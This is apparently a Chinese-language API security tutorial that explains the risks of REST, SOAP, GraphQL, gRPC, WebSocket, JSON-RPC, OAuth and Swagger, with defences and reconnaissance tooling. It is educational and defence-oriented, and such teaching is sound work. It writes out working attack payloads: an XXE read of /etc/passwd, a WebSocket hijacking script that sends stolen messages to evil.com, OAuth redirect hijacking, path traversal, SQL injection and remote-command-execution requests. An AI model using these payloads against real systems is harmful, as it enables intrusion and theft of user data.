API 安全基础
API 安全基础
一、API 核心概念
API(Application Programming Interface,应用程序编程接口) 是一组预定义的通信规则、协议与数据规范,用于实现不同软件、前后端、跨系统之间的数据交互与业务调用。
API 作为业务数据传输与功能调用的核心入口,是网络攻防的关键攻击面。攻击者可绕过前端交互限制,直接调用接口、篡改参数、越权访问后端数据,因此 API 安全是 Web 安全与红队测试的核心重点。
实例理解:
当你使用手机 App 查询银行卡余额时:
- App 发起一个 HTTPS 请求:
GET https://api.bank.com/v1/accounts/balance - 请求头携带你的身份令牌:
Authorization: Bearer eyJhbGciOiJIUzI1... - 后端 API 验证令牌有效性,查询数据库,返回:
{ "account_id": "6222021001001234567", "balance": 12580.50, "currency": "CNY" } - App 解析 JSON 并显示在界面上。
如果攻击者截获了这个请求,将 URL 中的 accounts/balance 修改为 admin/deleteUser,并尝试发送,若后端未做权限校验,攻击者就能绕过前端直接执行管理员操作——这正是 API 安全的核心风险所在。
二、主流 API 类型及安全风险
1. RESTful API
核心特征
- 基于 HTTP 协议,以资源为核心
- 使用 URL 标识资源,依靠
GET/POST/PUT/DELETE区分增删改查操作 - 默认采用 JSON 数据格式,是目前 Web、App、小程序最通用的接口规范
安全风险
- BOLA(不安全对象引用):篡改路径 ID、参数 ID,水平越权查看 / 操作他人数据
- BFLA(功能级未授权):越权访问管理员接口、高危操作接口
- 批量赋值漏洞:恶意新增权限字段,实现权限提升
防御要点
- 严格鉴权、资源 ID 权限校验
- 参数白名单过滤
- 禁止多余字段解析
实例演示
正常请求示例(获取用户信息):
GET /api/v2/users/10086 HTTP/1.1
Host: social.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...响应:
{
"id": 10086,
"username": "zhang_san",
"email": "zhang@example.com",
"avatar": "https://cdn.example.com/avatars/10086.jpg"
}BOLA 攻击示例:
攻击者登录自己的账户(ID=10086),获取到自己的个人信息后,将 URL 中的 10086 修改为 10087:
GET /api/v2/users/10087 HTTP/1.1
Host: social.example.com
Authorization: Bearer [攻击者自己的合法Token]若服务器返回用户 10087 的完整个人信息,则BOLA漏洞存在。
BFLA 攻击示例: 普通用户尝试访问管理员专属接口:
POST /api/v2/admin/resetUserPassword HTTP/1.1
Host: social.example.com
Authorization: Bearer [普通用户Token]
Content-Type: application/json
{
"user_id": 10086,
"new_password": "hacked123"
}若服务器返回 200 OK 且密码被成功重置,则存在垂直越权(BFLA)漏洞。
批量赋值攻击示例: 正常用户注册请求:
POST /api/v2/users/register HTTP/1.1
Content-Type: application/json
{
"username": "new_user",
"password": "SecurePass123",
"email": "new@example.com"
}攻击者添加额外字段 "role": "admin":
POST /api/v2/users/register HTTP/1.1
Content-Type: application/json
{
"username": "hacker",
"password": "HackPass123",
"email": "hacker@evil.com",
"role": "admin"
}若后端直接将 role 字段写入数据库,攻击者账户将被赋予管理员权限。
2. SOAP API
核心特征
- 基于 XML 严格协议传输,数据包包含固定标签
- 访问
?wsdl可获取完整接口说明书 - 多用于金融、政务、老旧企业级系统
安全风险
- XXE(XML 外部实体注入)
- XPath 注入
- 敏感业务接口明文暴露
- WSDL 文档泄露造成接口全量暴露
防御要点
- 禁用 XML 外部实体
- 过滤特殊标签
- 限制 WSDL 公网访问
实例演示
WSDL 文档泄露示例:
访问 http://bank.example.com/services/AccountService?wsdl,返回完整接口定义:
<wsdl:definitions targetNamespace="http://bank.example.com/">
<wsdl:message name="getAccountRequest">
<wsdl:part name="accountId" type="xsd:string"/>
</wsdl:message>
<wsdl:message name="getAccountResponse">
<wsdl:part name="account" type="tns:Account"/>
</wsdl:message>
<wsdl:portType name="AccountPort">
<wsdl:operation name="getAccount">
<wsdl:input message="tns:getAccountRequest"/>
<wsdl:output message="tns:getAccountResponse"/>
</wsdl:operation>
<!-- 暴露了内部函数 getAllAccounts -->
<wsdl:operation name="getAllAccounts">
<wsdl:output message="tns:getAllAccountsResponse"/>
</wsdl:operation>
</wsdl:portType>
</wsdl:definitions>从 WSDL 中发现 getAllAccounts 操作,攻击者可直接调用获取全量账户信息。
XXE 攻击示例: 正常 SOAP 请求:
POST /services/AccountService HTTP/1.1
Content-Type: text/xml
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<getAccount>
<accountId>6222021001001234</accountId>
</getAccount>
</soap:Body>
</soap:Envelope>攻击者在请求中注入外部实体:
POST /services/AccountService HTTP/1.1
Content-Type: text/xml
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<getAccount>
<accountId>&xxe;</accountId>
</getAccount>
</soap:Body>
</soap:Envelope>若响应中返回了 /etc/passwd 的内容,则XXE漏洞存在。
3. GraphQL API
核心特征
- 单一路由接入(常用
/graphql) - 客户端自定义查询字段,按需获取数据,数据高度灵活
安全风险
- 内省未关闭:通过
__schema枚举全量接口、数据表、字段信息 - 深度嵌套查询、批量查询导致服务器资源耗尽、DoS 攻击
- 未授权查询敏感数据
防御要点
- 关闭生产环境内省功能
- 限制查询深度与请求频次
- 接口权限管控
实例演示
端点探测示例:
访问 https://target.com/graphql 返回:
{
"errors": [{
"message": "Must provide query string."
}]
}说明该端点即为 GraphQL 入口。
内省利用示例: 发送内省查询:
POST /graphql HTTP/1.1
Content-Type: application/json
{
"query": "{ __schema { types { name fields { name type { name } } } } }"
}响应泄露了完整的类型结构:
{
"data": {
"__schema": {
"types": [
{
"name": "User",
"fields": [
{"name": "id", "type": {"name": "ID"}},
{"name": "username", "type": {"name": "String"}},
{"name": "email", "type": {"name": "String"}},
{"name": "passwordHash", "type": {"name": "String"}},
{"name": "isAdmin", "type": {"name": "Boolean"}}
]
}
]
}
}
}攻击者据此可构造精准查询窃取敏感数据。
深度嵌套 DoS 攻击示例:
query {
users {
posts {
comments {
author {
posts {
comments {
author {
posts { ... } # 持续嵌套
}
}
}
}
}
}
}
}若服务器因资源耗尽而超时返回 503 Service Unavailable,则存在 DoS 风险。
4. gRPC API
核心特征
- 基于 HTTP/2 协议
- 采用 Protobuf 二进制序列化传输,效率高、延迟低
- 多用于微服务内部通信
安全风险
- 二进制流量无法被常规扫描器识别,安全测试难度大
- 未授权访问、微服务内网接口暴露
- HTTP/2 协议层攻击
防御要点
- 内网隔离
- 服务间认证
- 限制公网直接暴露 gRPC 服务
实例演示
抓包识别示例: 在 Burp Suite 中捕获到以下流量特征:
PRI * HTTP/2.0
SM
...后续数据帧内容显示为不可读的十六进制乱码:
00 00 12 04 00 00 00 00 00 00 03 00 00 00 64 00 04 08 01 00 00 00 0a ...这表明目标使用 gRPC 协议。
未授权访问测试示例:
若发现公网暴露的 gRPC 服务端口(如 50051),使用 grpcurl 工具探测:
# 列出所有服务
grpcurl -plaintext target.com:50051 list
# 调用敏感方法(未授权)
grpcurl -plaintext -d '{"user_id":"1"}' target.com:50051 user.UserService/GetUserInfo若成功返回用户数据,则说明存在未授权访问漏洞。
5. WebSocket API
核心特征
- 长连接全双工通信
- 请求头携带
Upgrade: websocket - 协议标识
ws/wss - 适用于实时聊天、消息推送、在线协同场景
安全风险
- CSWSH(跨站 WebSocket 劫持)
- 消息恶意注入
- 未校验来源域名
- 实时数据窃取与篡改
防御要点
- 校验
Origin/Referer请求头 - 长连接身份绑定
- 消息内容过滤
实例演示
握手包识别示例:
GET /ws/chat HTTP/1.1
Host: chat.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Origin: https://chat.example.comCSWSH 攻击示例:
攻击者在恶意站点 evil.com 上部署以下代码:
<script>
var ws = new WebSocket('wss://chat.example.com/ws/chat');
ws.onopen = function() {
ws.send(JSON.stringify({
action: "send_message",
to: "admin",
content: "请点击钓鱼链接:https://evil.com/fake"
}));
};
ws.onmessage = function(event) {
fetch('https://evil.com/steal?data=' + btoa(event.data));
};
</script>当受害者访问 evil.com 且已登录 chat.example.com 时,恶意脚本会复用受害者的认证 Cookie 建立 WebSocket 连接,以受害者身份发送消息或窃取对话内容。
6. JSON-RPC API
核心特征
- 轻量级远程调用协议
- 固定字段
jsonrpc、method、id - 单一接口端点
- 常用于区块链、轻量化后端服务
安全风险
- 高危方法未授权调用
- 参数可控注入
- 远程代码执行风险
防御要点
- 限制高危方法访问
- 接口统一鉴权
- 请求参数校验
实例演示
请求识别示例:
POST /api/rpc HTTP/1.1
Content-Type: application/json
{
"jsonrpc": "2.0",
"method": "user.login",
"params": {"username": "admin", "password": "123456"},
"id": 1
}未授权高危方法调用示例: 攻击者枚举方法名,尝试调用内部管理方法:
POST /api/rpc HTTP/1.1
Content-Type: application/json
{
"jsonrpc": "2.0",
"method": "system.exec",
"params": {"cmd": "id"},
"id": 2
}若响应返回:
{
"jsonrpc": "2.0",
"result": "uid=1000(www) gid=1000(www)...",
"id": 2
}则说明存在 RCE 漏洞。
7. OAuth 2.0 / OIDC
核心说明
- 不属于 API 接口协议,是第三方授权标准
- 用于实现免密登录、第三方数据授权
安全风险
- 重定向地址劫持
- 授权码泄露
- 权限范围滥用
- CSRF 绑定劫持
防御要点
- 严格校验
redirect_uri - 绑定随机
state参数 - 最小权限授权
实例演示
授权码劫持示例: 正常的 OAuth 授权请求:
https://auth.example.com/oauth/authorize?
client_id=app123&
redirect_uri=https://app.example.com/callback&
response_type=code&
scope=read&
state=xyz123攻击者构造恶意链接,将 redirect_uri 改为自己的服务器:
https://auth.example.com/oauth/authorize?
client_id=app123&
redirect_uri=https://evil.com/callback&
response_type=code&
scope=read若授权服务器未严格校验 redirect_uri,则授权码 code 会被发送到 evil.com,攻击者可凭此码换取受害者的访问令牌。
CSRF 绑定劫持示例: 攻击者在论坛中嵌入图片:
<img src="https://auth.example.com/oauth/authorize?client_id=app123&response_type=code&redirect_uri=https://app.example.com/callback&state=attacker_state">受害者浏览该页面时,浏览器会自动发起授权请求,将其第三方账户与攻击者控制的 state 绑定,后续攻击者可利用此绑定关系登录受害者账户。
8. OpenAPI / Swagger
核心说明
- 接口描述规范,用于标准化编写、管理、调试 REST 接口
- 自动生成接口文档
安全风险
- 生产环境接口文档公网泄露
- 攻击者一键获取全部接口路径、请求参数、调用方式,极大缩小攻击范围
防御要点
- 生产环境禁用 Swagger
- 接口文档仅内网访问
- 添加访问密码
实例演示
接口文档泄露示例:
访问 https://target.com/swagger-ui.html,直接展示 Swagger 调试界面,列出了所有 API 端点:
| 方法 | 路径 | 描述 |
|---|---|---|
| POST | /api/admin/resetDatabase |
重置数据库(仅管理员) |
| GET | /api/users/exportAll |
导出全部用户数据 |
| DELETE | /api/orders/{id} |
删除订单 |
攻击者下载 https://target.com/v3/api-docs 文件,导入 Postman:
- 打开 Postman → Import → Link → 粘贴 JSON URL
- 一键生成完整的接口调用集合
- 针对每个接口逐一测试未授权访问、越权漏洞
三、API 类型快速识别对照表
| 流量 / 访问特征 | 接口类型 | 重点测试方向 | 实例演示 |
|---|---|---|---|
请求体含 query、单一路由 |
GraphQL | 关闭内省、嵌套查询限制 | POST /graphql 请求体为 {"query":"{ user { id } }"} |
链接携带 ?wsdl、纯 XML 报文 |
SOAP | XXE 注入、解析 WSDL 枚举接口 | GET /Service?wsdl 返回 <wsdl:definitions> |
请求头 Upgrade: websocket |
WebSocket | CSWSH 劫持、消息注入 | Burp WebSockets History 中出现双向消息帧 |
| HTTP/2 二进制乱码流量 | gRPC | 微服务未授权、协议层测试 | 抓包显示 PRI * HTTP/2.0 + 十六进制乱码 |
| 资源路径 + HTTP 方法操作 | RESTful | 越权 BOLA、未授权访问 | GET /users/123、PATCH /users/123 |
固定 jsonrpc 字段请求 |
JSON-RPC | 高危方法调用、权限绕过 | 请求体必含 "jsonrpc":"2.0","method":"xxx" |
/swagger-ui.html、/api-docs |
接口文档泄露 | 下载文档批量梳理攻击面 | 访问 /swagger-ui.html 直接展示接口调试页面 |
四、API 全流程检测与发现
1. 被动接口发现
无主动发包、无探测流量,隐蔽性强,适用于前期情报搜集。
| 维度 | 方法 | 常用工具 | 实例演示 |
|---|---|---|---|
| 前端资源分析 | 爬取 JS、Vue/React 打包文件、配置文件,正则匹配 API 路由、域名、接口路径,提取硬编码接口 | LinkFinder、JSFinder | grep -Ero "https?://[^\"']+api[^\"']*" main.js 提取出 https://internal-api.target.com/v2/admin/users |
| 历史归档与开源泄露 | 利用时光机、代码托管平台,收集历史废弃接口、测试环境接口、配置文件泄露内容 | gau、GitHub/Gitee 搜索 | 在 GitHub 搜索 target.com api_key,发现未删除的测试文件 config.php 包含数据库密码 |
| 流量与终端分析 | 浏览器历史流量、抓包缓存、APP 静态反编译,提取隐藏接口与后端地址 | MobSF | 对安卓 APK 进行反编译,在 strings.xml 中发现 https://api.target.com/beta/legacyLogin |
| 被动 DNS 与子域挖掘 | 收集 api、gateway、open 类子域名,梳理 API 专属资产 |
子域名挖掘工具 | subfinder -d target.com | grep -E "api|gateway|open" 发现 internal-api.target.com |
JSFinder 使用示例:
python JSFinder.py -u https://target.com -d -ou api_urls.txt输出示例:
https://api.target.com/v1/users
https://api.target.com/v1/orders
https://api.target.com/internal/metrics
wss://ws.target.com/realtime2. 主动接口发现
主动发送探测请求,批量枚举隐藏、测试、遗留接口,覆盖范围全面。
| 维度 | 方法 | 常用工具 | 实例演示 |
|---|---|---|---|
| 目录路由爆破 | 使用字典批量请求 api 前缀、版本路径、管理后台接口,结合状态码与响应长度筛选有效接口 |
ffuf、dirsearch、Burp Intruder | ffuf -w api_dict.txt -u https://target.com/FUZZ -fc 404 发现 /api/v2/ 返回 403,说明存在但需认证 |
| 调试文档主动探测 | 扫描 Swagger、GraphQL、Actuator、YApi 等调试端点,直接获取接口清单 | 字典扫描 | 访问 /actuator/mappings 返回 Spring Boot 全部路由映射 |
| 多请求方法探测 | 使用 GET / POST / PUT / DELETE / OPTIONS 多方法测试,绕过方法限制与简单拦截 |
Burp Repeater | 将 POST /api/deleteUser 改为 GET /api/deleteUser?id=1,绕过 WAF 拦截 |
| 端口与服务探测 | 全端口扫描,识别微服务、网关、中间件开放端口,挖掘内网暴露接口 | Nmap | nmap -p 8000-9000 target.com 发现 8080 端口开放 Jenkins 未授权访问 |
ffuf 爆破示例:
ffuf -w /usr/share/wordlists/api-endpoints.txt -u https://target.com/FUZZ -t 100 -o result.json响应分析:
/api/v1/users→200 OK,长度1523/api/v1/admin→403 Forbidden,长度122/api/internal→404 Not Found
3. 响应提示与报错信息利用
通过正常响应、差异化返回、框架报错、调试回显,挖掘敏感信息与业务逻辑。
| 方法 | 利用点 | 实例演示 |
|---|---|---|
| 业务提示差异 | 通过“用户不存在 / 权限不足 / 参数错误”等返回,枚举账号、ID、订单等资源,判断越权风险 | 登录接口:输入 admin 返回“密码错误”,输入 notexist 返回“用户不存在”,据此枚举有效用户名 |
| 框架堆栈报错 | SpringBoot、ThinkPHP、Python 等框架错误,泄露服务器物理路径、源码结构、SQL 语句、库表字段、组件版本 | 访问 /api/user?id=1' 触发 SQL 报错,返回 java.sql.SQLSyntaxErrorException: ... near '1''' at line 1,泄露数据库类型为 MySQL |
| 状态码与响应长度 | 依靠 401 / 403 / 404 / 200 差异,区分接口是否存在、是否需要鉴权、是否有权限限制 |
对 /api/admin 发送不带 Token 的请求返回 401,带普通用户 Token 返回 403,带管理员 Token 返回 200,说明存在功能级权限控制 |
| 畸形参数触发异常 | 传入非法 JSON、特殊字符、缺失参数,触发解析错误,推导参数格式、校验规则、后端架构 | 发送 {"username": "test' OR '1'='1"},响应 {"error": "Unexpected token ' in JSON"},说明后端未使用参数化查询,可能存在 SQL 注入 |
Spring Boot 报错利用示例: 请求:
GET /api/v1/users?id=1' HTTP/1.1响应:
{
"timestamp": "2026-04-22T10:00:00Z",
"status": 500,
"error": "Internal Server Error",
"path": "/api/v1/users",
"trace": "java.sql.SQLException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1\n\tat com.example.dao.UserDao.getUser(UserDao.java:42)"
}泄露信息:
- 数据库:MySQL
- 数据访问层类:
com.example.dao.UserDao - 漏洞代码行号:
42
五、API 攻击面映射
1. 接口入口层
- 公网开放接口
- API 网关
- 微服务路由
- Web / App / 小程序 / 第三方对接入口
- 测试环境调试接口
实例:
- 未删除的测试接口
https://target.com/api/debug/exec?cmd=whoami直接执行系统命令。 - 第三方支付回调接口
https://target.com/api/payment/callback未验证签名,攻击者伪造回调将订单状态改为“已支付”。
2. 协议与请求层
- HTTP/2、gRPC、SOAP、WebSocket 等协议
- 请求头、数据格式、签名规则、加密方式、跨域配置
实例:
- 签名重放攻击:API 签名算法为
sign = MD5(timestamp + secret),但未校验timestamp是否过期。攻击者截获一小时前的合法请求,重复发送 100 次,执行批量转账操作。 - CORS 配置错误:响应头返回
Access-Control-Allow-Origin: *且Access-Control-Allow-Credentials: true,攻击者可在恶意页面中发起跨域请求窃取敏感数据。
3. 认证与权限层
- Cookie、Session、JWT、Token、AK/SK 等认证方式
- 游客 / 普通用户 / 管理员多角色权限
- 水平越权、垂直越权、未授权访问边界
实例:
- JWT 算法混淆攻击:JWT 头部为
{"alg":"RS256"},攻击者将其改为{"alg":"HS256"},并使用服务端公钥作为 HMAC 密钥重新签名,成功绕过签名校验。 - 垂直越权:普通用户请求
/api/admin/users返回403,但将方法从GET改为POST后返回200并成功创建管理员账户。
4. 业务功能层
- 账号认证
- 数据查询、新增、删除
- 文件上传下载
- 批量操作、数据导出
- 消息回调、定时任务
- 支付接口等高风险模块
实例:
- 支付金额篡改:请求体
{"order_id": "123", "amount": 100.00},攻击者修改为{"order_id": "123", "amount": 0.01},后端未验证金额与实际订单是否一致,实现低价购买。 - 批量操作无限制:
POST /api/deleteOrders接受数组参数{"ids": [1,2,3]},攻击者发送{"ids": [1..10000]},删除所有订单。
5. 数据流转层
- 可控入参
- 敏感数据出参
- 数据存储、缓存调用
- 第三方数据交互
- 日志敏感信息泄露
实例:
- 敏感信息过度返回:
GET /api/user/profile返回{"username":"alice","password_hash":"$2a$10$...","reset_token":"abc123"},密码哈希和重置令牌不应返回给客户端。 - 日志明文记录密码:登录接口日志中记录
username=admin&password=Admin@123,日志文件被攻击者通过路径遍历漏洞读取。
6. 组件依赖层
- Web 框架
- 中间件
- 微服务组件
- 第三方依赖
- 开源组件漏洞、版本老旧风险
实例:
- Fastjson 反序列化 RCE:目标 API 使用 Fastjson 1.2.60,攻击者发送包含
@type的恶意 Payload,触发 JNDI 注入,反弹 Shell。 - Shiro RememberMe 反序列化:响应头包含
Set-Cookie: rememberMe=deleteMe,攻击者使用公开的 AES 密钥构造恶意 Cookie,实现 RCE。
六、典型高危 API 攻击面汇总
| 高危类型 | 具体实例 |
|---|---|
| 接口未授权访问 | /api/backup/download 无需认证即可下载全站源码备份包 |
| 弱口令认证 | /api/admin/login 使用 admin/admin 即可登录管理后台 |
| Token 长期有效 | 发放的 JWT Token 未设置过期时间,一次窃取永久可用 |
| 水平越权(BOLA) | 修改 URL 中 order_id=1001 为 1002,查看他人订单详情及收货地址 |
| 垂直越权(BFLA) | 普通用户通过 /api/admin/deleteUser?userId=123 删除任意用户 |
| 文件上传漏洞 | 头像上传接口未限制后缀,上传 shell.jsp 获取 Webshell |
| 任意文件下载 | /api/download?file=../../../../etc/passwd 读取系统敏感文件 |
| SQL 注入 | /api/search?keyword=test' OR '1'='1 返回全表数据 |
| 反序列化 RCE | 接受序列化对象的接口,传入恶意 ysoserial 载荷执行命令 |
| XSS 跨站脚本 | API 返回的错误信息中未转义用户输入:{"error": "用户 <script>alert(1)</script> 不存在"} |
| 调试接口未清理 | /actuator/heapdump 下载 JVM 内存快照,分析出明文数据库密码 |
| 接口文档泄露 | /swagger-ui.html 直接列出 /admin/resetDatabase 等危险接口 |
| 微服务内网暴露 | 网关将内部服务 /internal/getAllSecrets 错误代理至公网 |